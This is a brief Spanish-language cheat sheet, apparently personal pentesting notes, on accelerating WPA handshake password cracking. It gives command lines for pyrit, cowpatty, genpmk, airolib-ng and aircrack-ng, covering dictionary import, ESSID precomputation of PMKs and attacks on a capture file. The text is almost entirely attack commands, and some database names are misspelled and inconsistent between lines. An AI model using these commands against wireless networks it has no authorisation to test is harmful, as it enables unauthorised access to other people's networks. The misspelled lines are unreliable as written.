# Aumento de velocidad:

# Pyrit:

Attack\_passthrough

Sacamos el ap con:

#pyrit -r captura.cap analyze

Y atacamos:

#pyrit -e <essid> -i diccionario.txt -r captura.cap attack\_passthrough

# Cowpatty

#cowpatty -f diccionario.txt -r captura.cap -s <essid>

# Airckack airolib

Airolib Genera claves precomputadas

Aircrack. Pasos:

* Toma de captura
* Analiza y busca el handsake
* Extraer el hash y mirar el cifrado
* Cifra cada entrada del diccionario y la compara con el hash de la captura.

Con airolib podemos agilizar el paso 4:

#airolib-ng passwords-airlolib –import passwd diccionario.txt

# echo “<essid>” > essid.lst

# airolib-ng passwords-airlolib –import essid essid.lst

Comprobamos con:

# airolib-ng passwords-airolib –stats

Limpieza de espacios en blanco:

# airolib-ng password-airolib –clean all

Computamos:

# airolib-ng password-airolib –batch

Crackeamos:

Aircrack-ng -r passwords-airolib captura.cap

# Genpmk

# genpmk -f diccionario.txt -d dic.genpmk -s <essid>

Con cowpatty:

#cowpatty -d dic.genpmk -r captura.cap -s <essid>

Con pyrit:

#pyrit -e <essid> -i dic.genpmk -r captura.cap attack\_cowpatty

Más rápido:

Generamos BBDD:

# pyrit -i diccionario.txt import\_passwords

Incrustamos el essid:

#pyrit -e <essid> create\_essid

#pyrit batch

# pyrit -r captura.cap attack\_db